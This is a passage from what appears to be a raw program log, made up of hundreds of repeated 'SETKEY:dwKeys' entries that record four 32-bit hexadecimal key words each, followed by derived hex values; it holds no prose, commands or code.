1DADE4DB;-[0]=3D5C546B,[1]=024506F3,[2]=F11A5857,[3]=5D85ED15; +SETKEY:dwKeys[0] = DC429ACD, dwKeys[1] = 9DB38543, dwKeys[2] = 9CBBE717, dwKeys[3] = A2D53699;-[0]=36320790,[1]=092B5508,[2]=FA740BAC,[3]=56EBBEEE; +SETKEY:dwKeys[0] = 577DAE32, dwKeys[1] = DE8EEF7D, dwKeys[2] = 038E65D6, dwKeys[3] = DE03800E;-[0]=9E646FEF,[1]=A17D3D77,[2]=522263D3,[3]=FEBDD691; +SETKEY:dwKeys[0] = 93E50EB4, dwKeys[1] = 7428F08C, dwKeys[2] = 3AACA052, dwKeys[3] = 56CB7058;-[0]=CBDAD238,[1]=F4C380A0,[2]=079CDE04,[3]=AB036B46; +SETKEY:dwKeys[0] = 757911EE, dwKeys[1] = 4BA2E49E, dwKeys[2] = C0C7D09D, dwKeys[3] = 1E06F91C;-[0]=327E6A3A,[1]=0D6738A2,[2]=FE386606,[3]=52A7D344; +SETKEY:dwKeys[0] = 2BFCC498, dwKeys[1] = 7455E498, dwKeys[2] = 5B8F7895, dwKeys[3] = 8EA090D0;-[0]=DECD6928,[1]=E1D43BB0,[2]=128B6514,[3]=BE14D056; +SETKEY:dwKeys[0] = 936F1B1A, dwKeys[1] = AEA8C075, dwKeys[2] = 5EF0AFD4, dwKeys[3] = 06CAC34B;-[0]=3225AD08,[1]=0D3CFF90,[2]=FE63A134,[3]=52FC1476; +SETKEY:dwKeys[0] = 1D7D989C, dwKeys[1] = 660D8117, dwKeys[2] = C77E5FDD, dwKeys[3] = BC5D7A11;-[0]=36158E1C,[1]=090CDC84,[2]=FA538220,[3]=56CC3762; +SETKEY:dwKeys[0] = 5641CED4, dwKeys[1] = 6017F6DF, dwKeys[2] = 854E2209, dwKeys[3] = C2E14B08;-[0]=92CBCE08,[1]=ADD29C90,[2]=5E8DC234,[3]=F2127776; +SETKEY:dwKeys[0] = 8EEEE759, dwKeys[1] = 692CDCC2, dwKeys[2] = 869E56E0, dwKeys[3] = 34F5B336;-[0]=ABE0A64F,[1]=94F9F4D7,[2]=67A6AA73,[3]=CB391F31; +SETKEY:dwKeys[0] = 8F9D1995, dwKeys[1] = E13A9C63, dwKeys[2] = 9BD2F6CD, dwKeys[3] = 27ED9195;-[0]=B52F5807,[1]=8A360A9F,[2]=7969543B,[3]=D5F6E179; +SETKEY:dwKeys[0] = 4ECF57A3, dwKeys[1] = 57E1B2BA, dwKeys[2] = B1D6F470, dwKeys[3] = 8B7047F8;-[0]=9B539F15,[1]=A44ACD8D,[2]=57159329,[3]=FB8A266B; +SETKEY:dwKeys[0] = 29A457D0, dwKeys[1] = A6A84E9E, dwKeys[2] = 40A76264, dwKeys[3] = 52116253;-[0]=362D8B8D,[1]=0934D915,[2]=FA6B87B1,[3]=56F432F3; +SETKEY:dwKeys[0] = 41163938, dwKeys[1] = 6562B947, dwKeys[2] = 1AE3AAC6, dwKeys[3] = 2869E5A4;-[0]=EE63CE27,[1]=D17A9CBF,[2]=2225C21B,[3]=8EBA7759; +SETKEY:dwKeys[0] = 7EBBCDA4, dwKeys[1] = 39B63903, dwKeys[2] = 3D29C3AF, dwKeys[3] = F55DE0F3;-[0]=C06BAA93,[1]=FF72F80B,[2]=0C2DA6AF,[3]=A0B213ED; +SETKEY:dwKeys[0] = 412B69FA, dwKeys[1] = 391DA224, dwKeys[2] = B5633A50, dwKeys[3] = 34FEA2E7;-[0]=3722760B,[1]=083B2493,[2]=FB647A37,[3]=57FBCF75; +SETKEY:dwKeys[0] = 49EA7933, dwKeys[1] = EBFE132F, dwKeys[2] = CA18FC5F, dwKeys[3] = 9FF8F8A0;-[0]=69BFD947,[1]=56A68BDF,[2]=A5F9D57B,[3]=09666039; +SETKEY:dwKeys[0] = 9479DB91, dwKeys[1] = 40EDD06D, dwKeys[2] = 8D16EE22, dwKeys[3] = 11D22DBB;-[0]=35C09BF8,[1]=0AD9C960,[2]=F98697C4,[3]=55192286; +SETKEY:dwKeys[0] = 1DFFCE59, dwKeys[1] = 7E561D41, dwKeys[2] = 13C5DC05, dwKeys[3] = B57AA06B;-[0]=0DE04925,[1]=32F91BBD,[2]=C1A64519,[3]=6D39F05B; +SETKEY:dwKeys[0] = FDBDC2D1, dwKeys[1] = E54D16C1, dwKeys[2] = 270EA8B4, dwKeys[3] = 6A54DFC4;-[0]=07293D1E,[1]=38306F86,[2]=CB6F3122,[3]=67F08460; +SETKEY:dwKeys[0] = 05C882E6, dwKeys[1] = 401D7AC6, dwKeys[2] = 205F8C8E, dwKeys[3] = E8A47F8B;-[0]=30D87BD3,[1]=0FC1294B,[2]=FC9E77EF,[3]=5001C2AD; +SETKEY:dwKeys[0] = 272972C8, dwKeys[1] = 88260AF7, dwKeys[2] = BD18818B, dwKeys[3] = A7CD4AFD;-[0]=2F88299A,[1]=10917B02,[2]=E3CE25A6,[3]=4F5190E4; +SETKEY:dwKeys[0] = F3EAFD2A, dwKeys[1] = 5F34B2C4, dwKeys[2] = FFABC24D, dwKeys[3] = 2F6B302E;-[0]=DD9FCC3E,[1]=E2869EA6,[2]=11D9C002,[3]=BD467540; +SETKEY:dwKeys[0] = 52E11FC5, dwKeys[1] = 59CD8EA5, dwKeys[2] = A29BFAA1, dwKeys[3] = A39B61FD;-[0]=F8423508,[1]=C75B6790,[2]=34043934,[3]=989B8C76; +SETKEY:dwKeys[0] = 18DB9D21, dwKeys[1] = 062BBA96, dwKeys[2] = 770888A8, dwKeys[3] = 46BC1B5C;-[0]=C5ADA6D4,[1]=FAB4F44C,[2]=09EBAAE8,[3]=A5741FAA; +SETKEY:dwKeys[0] = D1FC92B2, dwKeys[1] = D18E4B8A, dwKeys[2] = 062C1539, dwKeys[3] = C8BBCCBB;-[0]=FBF49866,[1]=C4EDCAFE,[2]=37B2945A,[3]=9B2D2118; +SETKEY:dwKeys[0] = 961E9540, dwKeys[1] = 8AD446DF, dwKeys[2] = 54ACCE8E, dwKeys[3] = FE7F0866;-[0]=A7FF801C,[1]=98E6D284,[2]=6BB98C20,[3]=C7263962; +SETKEY:dwKeys[0] = 4DA76652, dwKeys[1] = ABC3A1FA, dwKeys[2] = 6426BA0F, dwKeys[3] = 3EC20C02;-[0]=C24C6254,[1]=FD5530CC,[2]=0E0A6E68,[3]=A295DB2A; +SETKEY:dwKeys[0] = B6F98715, dwKeys[1] = E18E6DEE, dwKeys[2] = 2DC17F37, dwKeys[3] = A031E4C5;-[0]=D7D47277,[1]=E8CD20EF,[2]=1B927E4B,[3]=B70DCB09; +SETKEY:dwKeys[0] = 70CFCC68, dwKeys[1] = 9218C917, dwKeys[2] = 91015848, dwKeys[3] = 03481BEE;-[0]=1B8E09C4,[1]=24975B5C,[2]=D7C805F8,[3]=7B57B0BA; +SETKEY:dwKeys[0] = 0A034884, dwKeys[1] = 73C55BC1, dwKeys[2] = 20F89A06, dwKeys[3] = 79AD79A6;-[0]=DF6126F2,[1]=E078746A,[2]=13272ACE,[3]=BFB89F8C; +SETKEY:dwKeys[0] = D8224EAB, dwKeys[1] = 08A70529, dwKeys[2] = 1E9AA295, dwKeys[3] = 9141F718;-[0]=F9AAF2CA,[1]=C6B3A052,[2]=35ECFEF6,[3]=99734BB4; +SETKEY:dwKeys[0] = 372612ED, dwKeys[1] = 932DFDB0, dwKeys[2] = 7BB42930, dwKeys[3] = C4044681;-[0]=35F2CC9D,[1]=0AEB9E05,[2]=F9B4C0A1,[3]=552B75E3; +SETKEY:dwKeys[0] = 618D5376, dwKeys[1] = B4EFC4F4, dwKeys[2] = 84D4E9A9, dwKeys[3] = 8B670893;-[0]=EE59B6AB,[1]=D140E433,[2]=221FBA97,[3]=8E800FD5; +SETKEY:dwKeys[0] = 217580FE, dwKeys[1] = 824362E1, dwKeys[2] = D9797C88, dwKeys[3] = 3E237306;-[0]=2A68E4F7,[1]=1571B66F,[2]=E62EE8CB,[3]=4AB15D89; +SETKEY:dwKeys[0] = 8BD89AEE, dwKeys[1] = 28A6A323, dwKeys[2] = 15C16ECF, dwKeys[3] = D681D72F;-[0]=12CE64CF,[1]=2DD73657,[2]=DE8868F3,[3]=7217DDB1; +SETKEY:dwKeys[0] = 0455EE66, dwKeys[1] = 35310FA9, dwKeys[2] = BDA22364, dwKeys[3] = C9204081;-[0]=9741047B,[1]=A85856E3,[2]=5B070847,[3]=F798BD05; +SETKEY:dwKeys[0] = 7B8A1E45, dwKeys[1] = 10172804, dwKeys[2] = 99FE4BFD, dwKeys[3] = 1DE211F1;-[0]=EB65F537,[1]=D47CA7AF,[2]=2723F90B,[3]=8BBC4C49; +SETKEY:dwKeys[0] = 2A5E16B3, dwKeys[1] = A743B756, dwKeys[2] = 036BEAF2, dwKeys[3] = D6D2C2DB;-[0]=E6C72D22,[1]=D9DE7FBA,[2]=2A81211E,[3]=861E945C; +SETKEY:dwKeys[0] = C30478E2, dwKeys[1] = 787443EF, dwKeys[2] = 99DCD00D, dwKeys[3] = C091F0A5;-[0]=0ECF9ECA,[1]=31D6CC52,[2]=C28992F6,[3]=6E1627B4; +SETKEY:dwKeys[0] = BB5D82B7, dwKeys[1] = 2D4517A2, dwKeys[2] = 52CACC06, dwKeys[3] = F1C282CC;-[0]=5AF52E94,[1]=65EC7C0C,[2]=96B322A8,[3]=3A2C97EA; +SETKEY:dwKeys[0] = FFDFC7D0, dwKeys[1] = 1FD8A740, dwKeys[2] = 817D29A6, dwKeys[3] = AA04708F;-[0]=4CA3A19B,[1]=73BAF303,[2]=80E5ADA7,[3]=2C7A18E5; +SETKEY:dwKeys[0] = 126F7D7E, dwKeys[1] = FC3DC5A8, dwKeys[2] = 2DD76B16, dwKeys[3] = 82000B3C;-[0]=ABE06553,[1]=94F937CB,[2]=67A6696F,[3]=CB39DC2D; +SETKEY:dwKeys[0] = 50F2A53A, dwKeys[1] = BCB39337, dwKeys[2] = 0E148053, dwKeys[3] = 6E534862;-[0]=A6BF8EC0,[1]=99A6DC58,[2]=6AF982FC,[3]=C66637BE; +SETKEY:dwKeys[0] = 8BFF5093, dwKeys[1] = AC1589EE, dwKeys[2] = E85836C5, dwKeys[3] = 06A7BF7E;-[0]=FB358035,[1]=C42CD2AD,[2]=37738C09,[3]=9BEC394B; +SETKEY:dwKeys[0] = 82267029, dwKeys[1] = 2249F43A, dwKeys[2] = 03A31C76, dwKeys[3] = 4AB59933;-[0]=45DF3866,[1]=7AC66AFE,[2]=8999345A,[3]=25068118; +SETKEY:dwKeys[0] = E13CD9B9, dwKeys[1] = 91189495, dwKeys[2] = F9EAC634, dwKeys[3] = 42FDB1A1;-[0]=AB5EBD5A,[1]=9447EFC2,[2]=6718B166,[3]=CB870424; +SETKEY:dwKeys[0] = 302931AE, dwKeys[1] = 0084CE6D, dwKeys[2] = 0A92D3F3, dwKeys[3] = 1519F0A5;-[0]=9234EA5F,[1]=AD2DB8C7,[2]=5E72E663,[3]=F2ED5321; +SETKEY:dwKeys[0] = D582E0FF, dwKeys[1] = FA4C7522, dwKeys[2] = 0ECAC8AE, dwKeys[3] = 9832854A;-[0]=F8CC9555,[1]=C7D5C7CD,[2]=348A9969,[3]=98152C2B; +SETKEY:dwKeys[0] = 9002FC27, dwKeys[1] = A6B77373, dwKeys[2] = 74826123, dwKeys[3] = 73C42C45;-[0]=EF919C57,[1]=D088CECF,[2]=23D7906B,[3]=8F482529; +SETKEY:dwKeys[0] = 7D549281, dwKeys[1] = 6DD0C1F2, dwKeys[2] = CF55EA3A, dwKeys[3] = 0DE24518;-[0]=2347EFF9,[1]=1C5EBD61,[2]=EF01E3C5,[3]=439E5687; +SETKEY:dwKeys[0] = E5E0800B, dwKeys[1] = 9D7C3A13, dwKeys[2] = 37F20EA1, dwKeys[3] = FAB7805B;-[0]=A17551C4,[1]=9E6C035C,[2]=6D335DF8,[3]=C1ACE8BA; +SETKEY:dwKeys[0] = A1584A46, dwKeys[1] = 85A482DF, dwKeys[2] = C15B70EA, dwKeys[3] = 6C24A685;-[0]=1CFC0857,[1]=23E55ACF,[2]=D0BA046B,[3]=7C25B129; +SETKEY:dwKeys[0] = B5960458, dwKeys[1] = 0D121A84, dwKeys[2] = F9B92495, dwKeys[3] = FB6FDD23;-[0]=11CBF490,[1]=2ED2A608,[2]=DD8DF8AC,[3]=71124DEE; +SETKEY:dwKeys[0] = 33299432, dwKeys[1] = 0D1FF954, dwKeys[2] = BBDB1048, dwKeys[3] = A4BDA9B5;-[0]=929255DF,[1]=AD8B0747,[2]=5ED459E3,[3]=F24BECA1; +SETKEY:dwKeys[0] = FCB74A61, dwKeys[1] = 6E111C14, dwKeys[2] = 938EC8C1, dwKeys[3] = 8CAFA792;-[0]=0D37F40D,[1]=322EA695,[2]=C171F831,[3]=6DEE4D73; +SETKEY:dwKeys[0] = B235A62B, dwKeys[1] = E022D227, dwKeys[2] = 8FDE9864, dwKeys[3] = A422DD41;-[0]=DD9335F4,[1]=E28A676C,[2]=11D539C8,[3]=BD4A8C8A; +SETKEY:dwKeys[0] = 40E24707, dwKeys[1] = 33F4135C, dwKeys[2] = 9967DC24, dwKeys[3] = A992D20D;-[0]=FEA42C2F,[1]=C1BD7EB7,[2]=32E22013,[3]=9E7D9551; +SETKEY:dwKeys[0] = A0736181, dwKeys[1] = 7DF43BC9, dwKeys[2] = FCD12D22, dwKeys[3] = 29B67FD3;-[0]=C8F20F37,[1]=F7EB5DAF,[2]=04B4030B,[3]=A82BB649; +SETKEY:dwKeys[0] = DDAC057E, dwKeys[1] = B728AB97, dwKeys[2] = 7E08BC44, dwKeys[3] = 8BDAA42E;-[0]=C98A51A2,[1]=F693033A,[2]=05CC5D9E,[3]=A953E8DC; +SETKEY:dwKeys[0] = C12F1A49, dwKeys[1] = 14611AA6, dwKeys[2] = 8E42B89A, dwKeys[3] = F5CC002A;-[0]=50DC78B2,[1]=6FC52A2A,[2]=9C9A748E,[3]=3005C1CC; +SETKEY:dwKeys[0] = EDD7B7A7, dwKeys[1] = 75E0D2E2, dwKeys[2] = 39446212, dwKeys[3] = C37C60B1;-[0]=D4D345DA,[1]=EBCA1742,[2]=189549E6,[3]=B40AFCA4; +SETKEY:dwKeys[0] = 34B75521, dwKeys[1] = C5B18E30, dwKeys[2] = 6E185847, dwKeys[3] = 1A46B916;-[0]=D19E97BB,[1]=EE87C523,[2]=1DD89B87,[3]=B1472EC5; +SETKEY:dwKeys[0] = 7002CD73, dwKeys[1] = 89E0DEFF, dwKeys[2] = 654190CE, dwKeys[3] = 98555A5E;-[0]=57318659,[1]=6828D4C1,[2]=9B778A65,[3]=37E83F27; +SETKEY:dwKeys[0] = 1B1A3BD2, dwKeys[1] = 4F8507CE, dwKeys[2] = 3F37B92A, dwKeys[3] = 55D1886C;-[0]=CF438201,[1]=F05AD099,[2]=03058E3D,[3]=AF9A3B7F; +SETKEY:dwKeys[0] = 8EB8263D, dwKeys[1] = 9C2DECCD, dwKeys[2] = AB45A914, dwKeys[3] = D4205E8A;-[0]=7335E7BB,[1]=4C2CB523,[2]=BF73EB87,[3]=13EC5EC5; +SETKEY:dwKeys[0] = 6BEC39ED, dwKeys[1] = 3BD63A52, dwKeys[2] = 52D66AE6, dwKeys[3] = EEE13615;-[0]=B86B1E23,[1]=87724CBB,[2]=742D121F,[3]=D8B2A75D; +SETKEY:dwKeys[0] = 039144C8, dwKeys[1] = BBFDA5FB, dwKeys[2] = 1B062BB7, dwKeys[3] = 2DDEAA7F;-[0]=CB7E7CCE,[1]=F4672E56,[2]=073870F2,[3]=ABA7C5B0; +SETKEY:dwKeys[0] = 211932D7, dwKeys[1] = BF78DF71, dwKeys[2] = 3E76CC11, dwKeys[3] = 75564AD4;-[0]=6D256F0A,[1]=523C3D92,[2]=A1636336,[3]=0DFCD674; +SETKEY:dwKeys[0] = 62C83BBF, dwKeys[1] = EF0563A0, dwKeys[2] = 9E2EBF56, dwKeys[3] = 5FE59725;-[0]=33EB2CBC,[1]=0CF27E24,[2]=FFAD2080,[3]=533295C2; +SETKEY:dwKeys[0] = 68484EFF, dwKeys[1] = 384E337C, dwKeys[2] = F9DC2157, dwKeys[3] = 262DD131;-[0]=A0EA1ED7,[1]=9FF34C4F,[2]=6CAC12EB,[3]=C033A7A9; +SETKEY:dwKeys[0] = A386C7F7, dwKeys[1] = 08E0576B, dwKeys[2] = D9EDF423, dwKeys[3] = D5DDCCC9;-[0]=FE1BAA5F,[1]=C102F8C7,[2]=325DA663,[3]=9EC21321; +SETKEY:dwKeys[0] = B77D6C8E, dwKeys[1] = 032ADF7D, dwKeys[2] = 497EFE65, dwKeys[3] = 0848ED2F;-[0]=B4FED101,[1]=8BE78399,[2]=78B8DD3D,[3]=D427687F; +SETKEY:dwKeys[0] = AF4C8CE8, dwKeys[1] = 8845F47D, dwKeys[2] = 72FBC279, dwKeys[3] = 1EF50A04;-[0]=79CCDE4B,[1]=46D58CD3,[2]=B58AD277,[3]=19156735; +SETKEY:dwKeys[0] = 94973E02, dwKeys[1] = 8386D86B, dwKeys[2] = 070A1E6C, dwKeys[3] = 90EE093D;-[0]=05C6170D,[1]=3ADF4595,[2]=C9801B31,[3]=651FAE73; +SETKEY:dwKeys[0] = 670647A1, dwKeys[1] = 54B3005B, dwKeys[2] = 3E33B6D1, dwKeys[3] = D0F7EDBD;-[0]=8F1ECABE,[1]=B0079826,[2]=4358C682,[3]=EFC773C0; +SETKEY:dwKeys[0] = 68051AE0, dwKeys[1] = 394A3A92, dwKeys[2] = 9F723DB8, dwKeys[3] = DBC26622;-[0]=B05071B1,[1]=8F492329,[2]=7C167D8D,[3]=D089C8CF; +SETKEY:dwKeys[0] = 4A96AD58, dwKeys[1] = 13608608, dwKeys[2] = 56A0D30E, dwKeys[3] = 72D0CB29;-[0]=A2299147,[1]=9D30C3DF,[2]=6E6F9D7B,[3]=C2F02839; +SETKEY:dwKeys[0] = AAAEF665, dwKeys[1] = 9AC5AD76, dwKeys[2] = CE7A3932, dwKeys[3] = B5BB7A6A;-[0]=110BF1D6,[1]=2E12A34E,[2]=DD4DFDEA,[3]=71D248A8; +SETKEY:dwKeys[0] = 5FF61AE4, dwKeys[1] = 57030BB8, dwKeys[2] = E1B728FC, dwKeys[3] = 2CB60D09;-[0]=CDC04C0E,[1]=F2D91E96,[2]=01864032,[3]=AD19F570; +SETKEY:dwKeys[0] = CEBCFFF7, dwKeys[1] = 3DB48C39, dwKeys[2] = 54341B79, dwKeys[3] = E0A67CBF;-[0]=A0E77D64,[1]=9FFE2FFC,[2]=6CA17158,[3]=C03EC41A; +SETKEY:dwKeys[0] = 3738D781, dwKeys[1] = 0DE7006A, dwKeys[2] = 16A5F0D8, dwKeys[3] = CD680D62;-[0]=38D9F64A,[1]=07C0A4D2,[2]=F49FFA76,[3]=58004F34; +SETKEY:dwKeys[0] = 8CBC2B54, dwKeys[1] = 87F2FBE5, dwKeys[2] = 1BA70556, dwKeys[3] = 59B50C39;-[0]=2FF51074,[1]=10EC42EC,[2]=E3B31C48,[3]=4F2CA90A; +SETKEY:dwKeys[0] = 76F35F90, dwKeys[1] = 813ACE66, dwKeys[2] = A8123A89, dwKeys[3] = 7997A87E;-[0]=87A7CAC2,[1]=B8BE985A,[2]=4BE1C6FE,[3]=E77E73BC; +SETKEY:dwKeys[0] = A24EE643, dwKeys[1] = 50F971FA, dwKeys[2] = 4CC34BB4, dwKeys[3] = B99B7059;-[0]=487224A8,[1]=776B7630,[2]=84342894,[3]=28AB9DD6; +SETKEY:dwKeys[0] = 906B2ACC, dwKeys[1] = 7182D35D, dwKeys[2] = 5808BB8B, dwKeys[3] = D5296280;-[0]=7F9BF900,[1]=4082AB98,[2]=B3DDF53C,[3]=1F42407E; +SETKEY:dwKeys[0] = 1C24A079, dwKeys[1] = 2DE63EE1, dwKeys[2] = 4A2A5E7C, dwKeys[3] = E15B05D8;-[0]=1427D0AA,[1]=2B3E8232,[2]=D861DC96,[3]=74FE69D4; +SETKEY:dwKeys[0] = 2A7F061C, dwKeys[1] = D7D16CE0, dwKeys[2] = A2853FE2, dwKeys[3] = 6A785946;-[0]=A4140CBD,[1]=9B0D5E25,[2]=68520081,[3]=C4CDB5C3; +SETKEY:dwKeys[0] = 53982596, dwKeys[1] = 627CC0E0, dwKeys[2] = 0DF197B8, dwKeys[3] = 12218AA0;-[0]=8CC4814E,[1]=B3DDD3D6,[2]=40828D72,[3]=EC1D3830; +SETKEY:dwKeys[0] = 6D88D610, dwKeys[1] = 35ACE8D2, dwKeys[2] = 6F2C7A34, dwKeys[3] = 072D752C;-[0]=C551422E,[1]=FA4810B6,[2]=09174E12,[3]=A588FB50; +SETKEY:dwKeys[0] = 11A77891, dwKeys[1] = E3293F20, dwKeys[2] = B7AD1BCD, dwKeys[3] = 63C65026;-[0]=340E424D,[1]=0B1710D5,[2]=F8484E71,[3]=54D7FB33; +SETKEY:dwKeys[0] = 315FAA9B, dwKeys[1] = DD2F2BC6, dwKeys[2] = 611B075A, dwKeys[3] = AA8687E1;-[0]=0F7745FC,[1]=306E1764,[2]=C33149C0,[3]=6FAEFC82; +SETKEY:dwKeys[0] = 70ADE58B, dwKeys[1] = 7372261A, dwKeys[2] = 5CC8F046, dwKeys[3] = C4EAA9C7;-[0]=8E7C90AD,[1]=B165C235,[2]=423A9C91,[3]=EEA529D3; +SETKEY:dwKeys[0] = BBA58E7D, dwKeys[1] = 95247FE5, dwKeys[2] = A222AC6F, dwKeys[3] = 4DF11415;-[0]=85136180,[1]=BA0A3318,[2]=49556DBC,[3]=E5CAD8FE; +SETKEY:dwKeys[0] = 8479254D, dwKeys[1] = D6484CC4, dwKeys[2] = 3F75B6BC, dwKeys[3] = 9C955FEB;-[0]=C4B4A874,[1]=FBADFAEC,[2]=08F2A448,[3]=A46D110A; +SETKEY:dwKeys[0] = 7E39EC50, dwKeys[1] = 32ED65D7, dwKeys[2] = 8CFEA73D, dwKeys[3] = 2DFD0A6C;-[0]=405C7145,[1]=7F4523DD,[2]=8C1A7D79,[3]=2085C83B; +SETKEY:dwKeys[0] = C6D3E8A2, dwKeys[1] = 44403385, dwKeys[2] = D736CC44, dwKeys[3] = 5E79ABCB;-[0]=985483EC,[1]=A74DD174,[2]=54128FD0,[3]=F88D3A92; +SETKEY:dwKeys[0] = 0AE42F69, dwKeys[1] = 4222D3CB, dwKeys[2] = 22A1CFBB, dwKeys[3] = 80E20C00;-[0]=7590D854,[1]=4A898ACC,[2]=B9D6D468,[3]=1549612A; +SETKEY:dwKeys[0] = 6B3A6EFB, dwKeys[1] = D0D10D09, dwKeys[2] = A641BF00, dwKeys[3] = 311557C1;-[0]=886033AB,[1]=B7796133,[2]=44263F97,[3]=E8B98AD5; +SETKEY:dwKeys[0] = 6449BB2F, dwKeys[1] = AD09B915, dwKeys[2] = 67344958, dwKeys[3] = 987EA083;-[0]=276C1BDF,[1]=18754947,[2]=EB2A17E3,[3]=47B5A2A1; +SETKEY:dwKeys[0] = B94948BD, dwKeys[1] = C06C3019, dwKeys[2] = 69887A96, dwKeys[3] = BBE497B8;-[0]=6F154604,[1]=500C149C,[2]=A3534A38,[3]=0FCCFF7A; +SETKEY:dwKeys[0] = 02298535, dwKeys[1] = 2E065ABE, dwKeys[2] = 7084D5E4, dwKeys[3] = 5434837B;-[0]=9F91F845,[1]=A088AADD,[2]=53D7F479,[3]=FF48413B; +SETKEY:dwKeys[0] = D15D2851, dwKeys[1] = C14FB83A, dwKeys[2] = B0475C1C, dwKeys[3] = 52F44F6B;-[0]=5CABE931,[1]=63B2BBA9,[2]=90EDE50D,[3]=3C72504F; +SETKEY:dwKeys[0] = 969D96DC, dwKeys[1] = 2FBA80C6, dwKeys[2] = B4ADE583, dwKeys[3] = 1F2F26FA;-[0]=DAA65731,[1]=E5BF05A9,[2]=16E05B0D,[3]=BA7FEE4F; +SETKEY:dwKeys[0] = AFB8A993, dwKeys[1] = E0EFC0B2, dwKeys[2] = 8D2ECA68, dwKeys[3] = 7A5FBD8A;-[0]=46762DBF,[1]=796F7F27,[2]=8A302183,[3]=26AF94C1; +SETKEY:dwKeys[0] = 6726740B, dwKeys[1] = 8B1D9946, dwKeys[2] = 65B30B0E, dwKeys[3] = 74D6B53C;-[0]=872F6853,[1]=B8363ACB,[2]=4B69646F,[3]=E7F6D12D; +SETKEY:dwKeys[0] = 65CB9D0F, dwKeys[1] = 7768CAAF, dwKeys[2] = CD80769D, dwKeys[3] = A8B75B6A;-[0]=87BD1C86,[1]=B8A44E1E,[2]=4BFB10BA,[3]=E764A5F8; +SETKEY:dwKeys[0] = 2EB72203, dwKeys[1] = 877CE943, dwKeys[2] = 4D6EDE20, dwKeys[3] = 4166A331;-[0]=56A33DCC,[1]=69BA6F54,[2]=9AE531F0,[3]=367A84B2; +SETKEY:dwKeys[0] = 4D89D6CF, dwKeys[1] = 0EEFF5CE, dwKeys[2] = 8980DE38, dwKeys[3] = D8440189;-[0]=11C359D4,[1]=2EDA0B4C,[2]=DD8555E8,[3]=711AE0AA; +SETKEY:dwKeys[0] = 52F04339, dwKeys[1] = FDD1CA46, dwKeys[2] = 03609CA8, dwKeys[3] = AD7BD9C9;-[0]=BAC99950,[1]=85D0CBC8,[2]=768F956C,[3]=DA10202E; +SETKEY:dwKeys[0] = 3F19A217, dwKeys[1] = 812B38F1, dwKeys[2] = 4BA8662D, dwKeys[3] = BBF366B8;-[0]=5CE8B2E0,[1]=63F1E078,[2]=90AEBEDC,[3]=3C310B9E; +SETKEY:dwKeys[0] = CD9F8CC4, dwKeys[1] = 09D78D14, dwKeys[2] = 227843D8, dwKeys[3] = 16EE1A08;-[0]=71AF58AD,[1]=4EB60A35,[2]=BDE95491,[3]=1176E1D3; +SETKEY:dwKeys[0] = 2E08F113, dwKeys[1] = 8CBDFBFA, dwKeys[2] = ADF01F71, dwKeys[3] = 839C6DDC;-[0]=772962A0,[1]=48303038,[2]=BB6F6E9C,[3]=17F0DBDE; +SETKEY:dwKeys[0] = 904BD6E7, dwKeys[1] = EE52B1F4, dwKeys[2] = 49F64FAB, dwKeys[3] = 88BB95F5;-[0]=23BC651B,[1]=1CA53783,[2]=EFFA6927,[3]=4365DC65; +SETKEY:dwKeys[0] = FA363D3E, dwKeys[1] = E6908B3D, dwKeys[2] = 1A30124A, dwKeys[3] = 80F597C2;-[0]=BEC38AEB,[1]=81DAD873,[2]=728586D7,[3]=DE1A3395; +SETKEY:dwKeys[0] = 1F005C5E, dwKeys[1] = EBAE24EC, dwKeys[2] = AF2D6369, dwKeys[3] = C0EE172E;-[0]=F565A785,[1]=CA7CF51D,[2]=3923ABB9,[3]=95BC1EFB; +SETKEY:dwKeys[0] = D7CB9404, dwKeys[1] = 58BEC9F2, dwKeys[2] = C1F3DAEA, dwKeys[3] = 7FDE3482;-[0]=4B2DA6FC,[1]=7434F464,[2]=876BAAC0,[3]=2BF41F82; +SETKEY:dwKeys[0] = 7302295F, dwKeys[1] = 5C6C81B3, dwKeys[2] = 799B9C5F, dwKeys[3] = 473C3D54;-[0]=B57A5E7D,[1]=8A630CE5,[2]=793C5241,[3]=D5A3E703; +SETKEY:dwKeys[0] = 9FB2F598, dwKeys[1] = 9947E1C4, dwKeys[2] = 0E69C536, dwKeys[3] = D583C39E;-[0]=DB26A08F,[1]=E43FF217,[2]=1760ACB3,[3]=BBFF19F1; +SETKEY:dwKeys[0] = E42F54B9, dwKeys[1] = 6FEDB942, dwKeys[2] = 0797D28E, dwKeys[3] = 4BBD13C6;-[0]=3091BCC8,[1]=0F88EE50,[2]=FCD7B0F4,[3]=504805B6; +SETKEY:dwKeys[0] = 9151CF38, dwKeys[1] = 8AB2EB30, dwKeys[2] = FB44EC48, dwKeys[3] = 1E18D823;-[0]=748238A4,[1]=4B9B6A3C,[2]=B8C43498,[3]=145B81DA; +SETKEY:dwKeys[0] = 121D6EAC, dwKeys[1] = 2D9613C8, dwKeys[2] = 9D24792C, dwKeys[3] = 4B1518C9;-[0]=A923F98F,[1]=963AAB17,[2]=6565F5B3,[3]=C9FA40F1; +SETKEY:dwKeys[0] = 8AC06796, dwKeys[1] = EE9CA8D4, dwKeys[2] = 2646C1D8, dwKeys[3] = FD3C58CD;-[0]=FA5BEEE3,[1]=C542BC7B,[2]=361DE2DF,[3]=9A82579D; +SETKEY:dwKeys[0] = 8B7032EF, dwKeys[1] = 0A3018ED, dwKeys[2] = 440A1237, dwKeys[3] = 48290D3F;-[0]=8FBEAC10,[1]=B0A7FE88,[2]=43F8A02C,[3]=EF67156E; +SETKEY:dwKeys[0] = 38D40214, dwKeys[1] = AC802B02, dwKeys[2] = DAF5DFF8, dwKeys[3] = A42C2180;-[0]=FAB92CEF,[1]=C5A07E77,[2]=36FF20D3,[3]=9A609591; +SETKEY:dwKeys[0] = C626747A, dwKeys[1] = F9A67165, dwKeys[2] = 6A178B76, dwKeys[3] = 04942689;-[0]=9D861477,[1]=A29F46EF,[2]=51C0184B,[3]=FD5FAD09; +SETKEY:dwKeys[0] = 3696F2D6, dwKeys[1] = F6099D6C, dwKeys[2] = 37D84599, dwKeys[3] = B0E58853;-[0]=07E8DECD,[1]=38F18C55,[2]=CBAED2F1,[3]=673167B3; +SETKEY:dwKeys[0] = A869DCAF, dwKeys[1] = 2B3C6B0F, dwKeys[2] = 25436BA3, dwKeys[3] = 7EACF20C;-[0]=8CBA99E7,[1]=B3A3CB7F,[2]=40FC95DB,[3]=EC632099; +SETKEY:dwKeys[0] = 5903BA97, dwKeys[1] = E5413029, dwKeys[2] = 89C1273A, dwKeys[3] = 64A3D906;-[0]=F76066C6,[1]=C879345E,[2]=3B266AFA,[3]=97B9DFB8; +SETKEY:dwKeys[0] = 82B89376, dwKeys[1] = C42CB488, dwKeys[2] = D896C005, dwKeys[3] = 